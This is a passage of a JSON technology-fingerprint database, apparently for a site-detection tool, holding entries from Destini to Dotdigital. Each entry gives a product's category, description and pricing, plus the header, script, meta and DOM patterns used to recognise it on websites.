\"Destini.svg\",\n    \"js\": {\n      \"destini.init\": \"\",\n      \"destiniAddProducts\": \"\",\n      \"destiniDataLayer\": \"\",\n      \"destiniReset\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://destini.co/\"\n  },\n  \"Deta\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Deta is a cloud platform for building and deploying apps.\",\n    \"headers\": {\n      \"Server\": \"^Deta$\"\n    },\n    \"icon\": \"deta.svg\",\n    \"url\": [\n      \"^https?://[^/]+\\\\.deta\\\\.(?:app|dev)\"\n    ],\n    \"website\": \"https://deta.sh\"\n  },\n  \"Detectify\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Detectify is an automated scanner that checks your web application for vulnerabilities.\",\n    \"dns\": {\n      \"TXT\": [\n        \"detectify-verification\"\n      ]\n    },\n    \"icon\": \"Detectify.svg\",\n    \"website\": \"https://detectify.com/\"\n  },\n  \"Detectizr\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Detectizr is a Modernizr extension to detect device, browser, operating system and screen size.\",\n    \"js\": {\n      \"Detectizr\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"Modernizr\"\n    ],\n    \"website\": \"https://baris.aydinoglu.net/Detectizr\"\n  },\n  \"Deutsche Post\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Deutsche Post is a German multinational package delivery and supply chain management company in Germany.\",\n    \"icon\": \"Deutsche Post.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bDeutsche Post\\\\b\"\n    ],\n    \"website\": \"https://www.deutschepost.de\"\n  },\n  \"DevExtreme\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"DevExtreme is a collection of JavaScript UI components designed for Angular, React, Vue, and jQuery, developed by DevExpress.\",\n    \"icon\": \"DevExtreme.svg\",\n    \"implies\": [\n      \"React\",\n      \"Vue.js\",\n      \"jQuery\",\n      \"Angular\"\n    ],\n    \"js\": {\n      \"DevExpress._DEVEXTREME_BUNDLE_INITIALIZED\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://js.devexpress.com\"\n  },\n  \"Developing Azerbaijan\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Developing Azerbaijan is a provider of services including website creation, optimization, technical support, and hosting.\",\n    \"icon\": \"DevelopingAzerbaijan.svg\",\n    \"meta\": {\n      \"author\": \"Developing.az\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.developing.az/\"\n  },\n  \"Dexie.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A Minimalistic Wrapper for IndexedDB.\",\n    \"icon\": \"Dexie.js.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?dexie(?:\\\\.bitrix)?(?:\\\\.bundle)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://dexie.org\"\n  },\n  \"Dialogue\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Dialogue is an ecommerce personalization platform that helps brands increase sales and conversion rates through AI-driven recommendations.\",\n    \"icon\": \"Dialogue.svg\",\n    \"js\": {\n      \"DialogueAI\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://nowdialogue.com/\"\n  },\n  \"DiamondCDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"DiamondCDN is a CDN with DDoS mitigation for free.\",\n    \"headers\": {\n      \"server\": \"^DiamondCDN$\"\n    },\n    \"icon\": \"DiamondCDN.png\",\n    \"website\": \"https://diamondcdn.com\"\n  },\n  \"Dianomi\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Dianomi is an advertiser campaign management software for financial services, premium lifestyle, technology and corporate sectors.\",\n    \"dom\": [\n      \"iframe[src*='.dianomi.com/']\"\n    ],\n    \"icon\": \"Dianomi.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.dianomi\\\\.com/\"\n    ],\n    \"website\": \"https://www.dianomi.com\"\n  },\n  \"Didomi\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Didomi is a consent management platform helping brands and businesses collect, store and leverage their customer consents.\",\n    \"icon\": \"didomi.png\",\n    \"scriptSrc\": [\n      \"sdk\\\\.privacy-center\\\\.org/.*/loader\\\\.js\"\n    ],\n    \"website\": \"https://www.didomi.io/en/consent-preference-management\"\n  },\n  \"Digest\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Digest is an authentication method based on a MD5 hash used by web servers.\",\n    \"headers\": {\n      \"WWW-Authenticate\": \"^Digest\"\n    },\n    \"website\": \"https://tools.ietf.org/html/rfc7616\"\n  },\n  \"DigiCDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"DigiCDN by Digicloud is a content delivery network featuring multiple servers and Anycast architecture, safeguarding your website against cyber attacks.\",\n    \"icon\": \"DigicloudCDN.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://digicloud.ir\",\n    \"xhr\": [\n      \"digicloud\"\n    ]\n  },\n  \"DigiCert\": {\n    \"cats\": [\n      70\n    ],\n    \"certIssuer\": \"DigiCert\",\n    \"icon\": \"DigiCert.svg\",\n    \"website\": \"https://www.digicert.com/\"\n  },\n  \"DigiFi\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"DigiFi is a subscription-based software that allows anyone to set up an online store and sell their products.\",\n    \"icon\": \"DigiFi.svg\",\n    \"meta\": {\n      \"generator\": \"^Digify$\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://digify.shop\"\n  },\n  \"Digismoothie Candy Rack\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Digismoothie Candy Rack is an upsell app for Shopify which allow merchants to offer custom services or bundle products.\",\n    \"icon\": \"Digismoothie.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"CANDYRACK_DOCUMENT_LISTENER\": \"\",\n      \"candyrackEnableDebug\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.digismoothie.com/apps/candy-rack\"\n  },\n  \"Digistore24\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Digistore24 is a German digital reselling and affiliate marketing platform.\",\n    \"dom\": [\n      \"a[href*='www.digistore24.com'][target='_blank']\"\n    ],\n    \"icon\": \"Digistore24.svg\",\n    \"js\": {\n      \"DIGISTORE_LINK_ID_KEY\": \"\",\n      \"DIGISTORE_VENDORKEY\": \"\",\n      \"getTheSourceForDigistoreLinks\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"digistore/digistore\\\\.js\",\n      \"www\\\\.digistore24\\\\.com\"\n    ],\n    \"website\": \"https://www.digistore24.com\"\n  },\n  \"Digital Showroom\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Digital Showroom is an ecommerce platform.\",\n    \"dom\": [\n      \"div.dd-showrom__layout\"\n    ],\n    \"icon\": \"Digital Showroom.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://digitalshowroom.in\"\n  },\n  \"DigitalOcean Spaces\": {\n    \"cats\": [\n      31,\n      63\n    ],\n    \"description\": \"DigitalOcean Spaces is a cloud-based object storage service provided by DigitalOcean, a cloud infrastructure provider. It allows users to store and retrieve large amounts of data, such as images, videos, audio files, backups, and logs, using a simple RESTful API or a web-based graphical user interface (GUI).\",\n    \"dom\": [\n      \"img[data-src*='.digitaloceanspaces.com'], img[src*='.digitaloceanspaces.com']\"\n    ],\n    \"icon\": \"DigitalOcean.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.digitalocean.com/products/spaces\"\n  },\n  \"DigitalRiver\": {\n    \"cats\": [\n      6,\n      41\n    ],\n    \"cookies\": {\n      \"X-DR-SHOPPER-ets\": \"\",\n      \"X-DR-THEME\": \"^\\\\d+$\"\n    },\n    \"description\": \"Digital River provides global ecommerce, payments and marketing services.\",\n    \"icon\": \"DigitalRiver.svg\",\n    \"js\": {\n      \"DigitalRiver\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.digitalriver\\\\.com/\"\n    ],\n    \"website\": \"https://www.digitalriver.com\"\n  },\n  \"Digizuite\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Digizuite is a Digital Asset Management software for enterprises.\",\n    \"dom\": [\n      \"img[src^='/globalassets/digizuite/'], source[srcset^='/globalassets/digizuite/'], video[src^='/globalassets/digizuite/']\"\n    ],\n    \"icon\": \"Digizuite.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.digizuite.com\"\n  },\n  \"Dimml\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Dimml is a data flow management software.\",\n    \"icon\": \"Dimml.svg\",\n    \"oss\": true,\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.dimml\\\\.io/\"\n    ],\n    \"website\": \"https://www.dimml.io\"\n  },\n  \"DirectAdmin\": {\n    \"cats\": [\n      9\n    ],\n    \"cpe\": \"cpe:2.3:a:directadmin:directadmin:*:*:*:*:*:*:*:*\",\n    \"description\": \"DirectAdmin is a graphical web-based web hosting control panel designed to make administration of websites easier.\",\n    \"headers\": {\n      \"Server\": \"DirectAdmin Daemon v([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<a[^>]+>DirectAdmin</a> Web Control Panel\"\n    ],\n    \"icon\": \"DirectAdmin.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://www.directadmin.com\"\n  },\n  \"Directus\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Directus is a free and open-source headless CMS framework for managing custom SQL-based databases.\",\n    \"headers\": {\n      \"x-powered-by\": \"^Directus$\"\n    },\n    \"icon\": \"Directus.svg\",\n    \"implies\": [\n      \"Vue.js\",\n      \"TinyMCE\",\n      \"core-js\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://directus.io\"\n  },\n  \"Discourse\": {\n    \"cats\": [\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*\",\n    \"description\": \"Discourse is an open-source internet forum and mailing list management software application.\",\n    \"icon\": \"Discourse.svg\",\n    \"implies\": [\n      \"Ruby on Rails\"\n    ],\n    \"js\": {\n      \"Discourse\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Discourse(?: ?/?([\\\\d.]+\\\\d))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://discourse.org\"\n  },\n  \"Discuz! X\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Discuz! X is an internet forum software written in PHP and supports MySQL and PostgreSQL databases.\",\n    \"icon\": \"Discuz X.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"DISCUZCODE\": \"\",\n      \"discuzVersion\": \"^(.+)$\\\\;version:\\\\1\",\n      \"discuz_uid\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Discuz! X([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.discuz.net\"\n  },\n  \"Disqus\": {\n    \"cats\": [\n      15\n    ],\n    \"cpe\": \"cpe:2.3:a:disqus:disqus_comment_system:*:*:*:*:*:*:*:*\",\n    \"description\": \"Disqus is a worldwide blog comment hosting service for web sites and online communities that use a networked platform.\",\n    \"dom\": [\n      \"div#disqus_thread\"\n    ],\n    \"icon\": \"Disqus.svg\",\n    \"js\": {\n      \"DISQUS\": \"\",\n      \"disqus_shortname\": \"\",\n      \"disqus_url\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"disqus_url\"\n    ],\n    \"website\": \"https://disqus.com\"\n  },\n  \"Distributor\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Distributor is a WordPress plugin that helps distribute and reuse content across your websites.\",\n    \"headers\": {\n      \"x-distributor\": \"yes\"\n    },\n    \"icon\": \"distributor.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/distributor\"\n    ],\n    \"website\": \"https://distributorplugin.com\"\n  },\n  \"District M\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"District M is a programmatic advertising exchange.\",\n    \"dom\": [\n      \"iframe[src*='.districtm.io']\"\n    ],\n    \"icon\": \"District M.svg\",\n    \"saas\": true,\n    \"website\": \"https://districtm.net\",\n    \"xhr\": [\n      \"\\\\.districtm\\\\.io\"\n    ]\n  },\n  \"Dito\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Dito is a tool that centralizes and manages the relationship between brands and their customers.\",\n    \"icon\": \"Dito.svg\",\n    \"js\": {\n      \"dito.AppSettings\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"storage\\\\.googleapis\\\\.com/dito/sdk\\\\.js\"\n    ],\n    \"website\": \"https://www.dito.com.br\"\n  },\n  \"Divhunt\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Divhunt is an SPA builder.\",\n    \"icon\": \"Divhunt.svg\",\n    \"js\": {\n      \"Divhunt\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"divhunt-site\\\\.\\\\w-cdn\\\\.net/\"\n    ],\n    \"website\": \"https://www.divhunt.com\"\n  },\n  \"Divi\": {\n    \"cats\": [\n      51,\n      80,\n      87\n    ],\n    \"description\": \"Divi is a WordPress Theme and standalone WordPress plugin from Elegant themes that allows users to build websites using the visual drag-and-drop Divi page builder.\",\n    \"dom\": {\n      \"style#divi-style-parent-inline-inline-css\": {\n        \"text\": \"Version\\\\:\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n      }\n    },\n    \"icon\": \"Divi.svg\",\n    \"js\": {\n      \"DIVI\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Divi(?:\\\\sv\\\\.([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"Divi/js/custom\\\\.(?:min|unified)\\\\.js\\\\?ver=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.elegantthemes.com/gallery/divi\"\n  },\n  \"DivideBuy\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Dividebuy provides retailer financing solutions.\",\n    \"dom\": [\n      \"div[class*='dividebuy-softcredit']\"\n    ],\n    \"icon\": \"DivideBuy.svg\",\n    \"js\": {\n      \"display_dividebuy_modal\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://dividebuy.co.uk/\"\n  },\n  \"Divido\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Divio is a Buy now pay later solution. Divido provided whitelabel platform connects lenders, retailers and channel partners at the point of sale\",\n    \"icon\": \"Divido.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.divido\\\\.com\"\n    ],\n    \"website\": \"https://www.divido.com/\"\n  },\n  \"Django\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"django_language\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*\",\n    \"description\": \"Django is a Python-based free and open-source web application framework.\",\n    \"html\": [\n      \"(?:powered by <a[^>]+>Django ?([\\\\d.]+)?<\\\\/a>|<input[^>]*name=[\\\"']csrfmiddlewaretoken[\\\"'][^>]*>)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Django.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"js\": {\n      \"__admin_media_prefix__\": \"\",\n      \"django\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://djangoproject.com\"\n  },\n  \"Django CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Django CMS is a free and open source content management system platform for publishing content on the World Wide Web and intranets.\",\n    \"icon\": \"Django CMS.svg\",\n    \"implies\": [\n      \"Python\",\n      \"Django\",\n      \"PostgreSQL\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/djangocms_\"\n    ],\n    \"website\": \"https://www.django-cms.org\"\n  },\n  \"DocFX\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"DocFX is a tool for building and publishing API documentation for .NET projects.\",\n    \"icon\": \"DocFX.svg\",\n    \"meta\": {\n      \"docfx:navrel\": \"toc.html\",\n      \"docfx:tocrel\": \"toc.html\",\n      \"generator\": \"docfx\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/dotnet/docfx\"\n  },\n  \"Docker\": {\n    \"cats\": [\n      60\n    ],\n    \"cpe\": \"cpe:2.3:a:docker:engine:*:*:*:*:*:*:*:*\",\n    \"description\": \"Docker is a tool designed to make it easier to create, deploy, and run applications by using containers.\",\n    \"html\": [\n      \"<!-- This comment is expected by the docker HEALTHCHECK  -->\"\n    ],\n    \"icon\": \"Docker.svg\",\n    \"website\": \"https://www.docker.com/\"\n  },\n  \"Docket\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Docket is a waste management and dumpster rental software, helping businesses manage assets, invoices, accounting, and communication.\",\n    \"icon\": \"Docket.svg\",\n    \"js\": {\n      \"DocketPay\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"dockethosting\\\\.com/\"\n    ],\n    \"website\": \"https://www.yourdocket.com\"\n  },\n  \"DocsBot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"DocsBot is an AI-powered chatbot that helps automate customer support and improve team productivity.\",\n    \"icon\": \"DocsBotAI.svg\",\n    \"js\": {\n      \"DocsBotAI.el\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://docsbot.ai\"\n  },\n  \"Docsify\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Docsify is an open-source documentation generator for creating user-friendly documentation websites.\",\n    \"icon\": \"Docsify.svg\",\n    \"js\": {\n      \"Docsify.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\",\n      \"DocsifyCompiler\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://docsify.js.org\"\n  },\n  \"Doctor.com\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Doctor.com is a marketing automation and reputation management platform for doctors.\",\n    \"dom\": [\n      \"iframe[src*='.doctor.com/']\"\n    ],\n    \"icon\": \"Doctor.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.doctor\\\\.com/\"\n    ],\n    \"website\": \"https://www.doctor.com\"\n  },\n  \"DocuSign\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"DocuSign allows organisations to manage electronic agreements.\",\n    \"dns\": {\n      \"TXT\": [\n        \"docusign\"\n      ]\n    },\n    \"icon\": \"DocuSign.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.docusign.com\",\n    \"xhr\": [\n      \"docusign\\\\.net\"\n    ]\n  },\n  \"Docusaurus\": {\n    \"cats\": [\n      4,\n      57\n    ],\n    \"description\": \"Docusaurus is a tool for teams to publish documentation websites.\",\n    \"icon\": \"docusaurus.svg\",\n    \"implies\": [\n      \"React\",\n      \"Webpack\"\n    ],\n    \"js\": {\n      \"__DOCUSAURUS_INSERT_BASEURL_BANNER\": \"\",\n      \"docusaurus\": \"\",\n      \"search.indexName\": \"\"\n    },\n    \"meta\": {\n      \"docusaurus_locale\": \"\",\n      \"docusaurus_tag\": \"\",\n      \"generator\": \"^Docusaurus(?: v(.+))?$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://docusaurus.io/\"\n  },\n  \"Dojo\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:dojotoolkit:dojo:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Dojo.png\",\n    \"js\": {\n      \"dojo\": \"\",\n      \"dojo.version.major\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"((?:\\\\d+\\\\.)+\\\\d+)/dojo/dojo(?:\\\\.xd)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://dojotoolkit.org\"\n  },\n  \"Dokan\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Dokan offers a multi-vendor marketplace solution built on top of wordpress and woocommerce.\",\n    \"icon\": \"Dokan.svg\",\n    \"js\": {\n      \"dokan\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://wedevs.com/dokan\"\n  },\n  \"Dokeos\": {\n    \"cats\": [\n      21\n    ],\n    \"cpe\": \"cpe:2.3:a:dokeos:dokeos:*:*:*:*:*:*:*:*\",\n    \"description\": \"Dokeos is an e-learning and course management web application.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Dokeos\"\n    },\n    \"html\": [\n      \"(?:Portal <a[^>]+>Dokeos|@import \\\"[^\\\"]+dokeos_blue)\"\n    ],\n    \"icon\": \"Dokeos.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Xajax\",\n      \"jQuery\"\n    ],\n    \"meta\": {\n      \"generator\": \"Dokeos\"\n    },\n    \"website\": \"https://dokeos.com\"\n  },\n  \"DokuWiki\": {\n    \"cats\": [\n      8\n    ],\n    \"cookies\": {\n      \"DokuWiki\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:dokuwiki:dokuwiki:*:*:*:*:*:*:*:*\",\n    \"description\": \"DokuWiki is a free open-source wiki software.\",\n    \"icon\": \"DokuWiki.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"DOKU_TPL\": \"\\\\;confidence:50\",\n      \"doku_edit_text_content\": \"\\\\;confidence:50\"\n    },\n    \"meta\": {\n      \"generator\": \"^DokuWiki( Release [\\\\d-]+)?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.dokuwiki.org\"\n  },\n  \"DomainFactory\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"DomainFactory has been operating as a web hosting company. It is owned by GoDaddy and targets businesses in Austria and Germany.\",\n    \"dns\": {\n      \"SOA\": \"ns(?:\\\\d+)?\\\\.namespace4you\\\\.de\"\n    },\n    \"icon\": \"DomainFactory.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.df.eu\"\n  },\n  \"Dominate WooCommerce\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Dominate WooCommerce is a cloud-based checkout-page which supports PayPal Smart buttons for Venmo, PayPal Credit, and other payment methods.\",\n    \"icon\": \"Dominate.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\",\n      \"WooCommerce\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/iwd-checkout-connector/\"\n    ],\n    \"website\": \"https://www.dominate.co/woocommerce\"\n  },\n  \"DonorPerfect\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"DonorPerfect is a fundraising management software.\",\n    \"dom\": {\n      \"a[href*='.donorperfect.']\": {\n        \"attributes\": {\n          \"href\": \"\\\\.donorperfect\\\\.(?:com|net)\"\n        }\n      }\n    },\n    \"icon\": \"DonorPerfect.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.donorperfect\\\\.net/\"\n    ],\n    \"website\": \"https://www.donorperfect.com\"\n  },\n  \"Donorbox\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Donorbox is a US-based technology company. It offers an online fundraising software that allows individuals and nonprofit organisations to receive donations over the Internet.\",\n    \"dom\": [\n      \"a[href*='//donorbox.org/'], iframe[src*='//donorbox.org/']\"\n    ],\n    \"icon\": \"Donorbox.svg\",\n    \"js\": {\n      \"DONORBOX\": \"\",\n      \"DonorBox\": \"\",\n      \"donorbox_check_donation_period\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://donorbox.org\"\n  },\n  \"Dooca\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Dooca is an ecommerce platform from Brazil.\",\n    \"icon\": \"Dooca.svg\",\n    \"js\": {\n      \"dooca\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.dooca\\\\.store/\"\n    ],\n    \"website\": \"https://www.dooca.com.br\"\n  },\n  \"Doofinder\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Doofinder is a search site solution that enables users to include advanced and smart search engine capabilities in their ecommerce website.\",\n    \"icon\": \"Doofinder.svg\",\n    \"js\": {\n      \"doofinder.classic.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.doofinder\\\\.com/\"\n    ],\n    \"website\": \"https://www.doofinder.com\"\n  },\n  \"Doppler\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"Doppler is an email marketing and transactional email service.\",\n    \"icon\": \"Doppler.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//(?:hub|cdn)\\\\.fromdoppler\\\\.com/\"\n    ],\n    \"website\": \"https://www.fromdoppler.com\"\n  },\n  \"Doppler Forms\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"The Doppler Forms plugin allows you to create fully customised subscription forms that you can add to your website or blog.\",\n    \"icon\": \"Doppler.svg\",\n    \"implies\": [\n      \"Doppler\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/doppler-form/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/doppler-form/\"\n  },\n  \"Doppler for WooCommerce\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"The Doppler for WooCommerce plugin adds submit your WooCommerce customers and buyers to a Doppler List.\",\n    \"icon\": \"Doppler.svg\",\n    \"implies\": [\n      \"Doppler\"\n    ],\n    \"requires\": [\n      \"WordPress\",\n      \"WooCommerce\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/doppler-for-woocommerce/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/doppler-for-woocommerce/\"\n  },\n  \"Dorik AI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Dorik is an AI website-building platform that requires no design or coding experience.\",\n    \"dom\": [\n      \"link[href*='cdn.dorik.com'], section[class*='dorik-section'] \"\n    ],\n    \"icon\": \"DorikAI.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://dorik.com\"\n  },\n  \"Dorsa Cloud\": {\n    \"cats\": [\n      31,\n      63\n    ],\n    \"description\": \"Dorsa Cloud is a cloud service provider offering scalable and flexible Infrastructure as a Service (IaaS) solutions for businesses.\",\n    \"headers\": {\n      \"server\": \"^Dorsa Cloud$\",\n      \"x-cdn-provider\": \"^Dorsa Cloud\",\n      \"x-powered-by\": \"^Dorsa Cloud\"\n    },\n    \"icon\": \"Dorsa Cloud.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": false,\n    \"website\": \"https://dorsa.cloud\"\n  },\n  \"Dotclear\": {\n    \"cats\": [\n      11\n    ],\n    \"cpe\": \"cpe:2.3:a:dotclear:dotclear:*:*:*:*:*:*:*:*\",\n    \"description\": \"Dotclear is an open-source blogging platform focused on ease of use and versatility, offering features like multi-blog support, customizable themes, and antispam tools.\",\n    \"headers\": {\n      \"X-Dotclear-Static-Cache\": \"\"\n    },\n    \"icon\": \"Dotclear.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://dotclear.org\"\n  },\n  \"Dotdigital\": {\n    \"cats\": [\n      32,\n      10\n    ],\n    \"description\": \"Dotdigital is an all-in-one cloud-based customer engagement multichannel marketing platform.\",\n    \"icon\": \"Dotdigital.svg\",\n    \"js\": {\n      \"dmPt\": \"\\\\;confidence:25\",\n      \"dm_insight_id\": \"\",\n      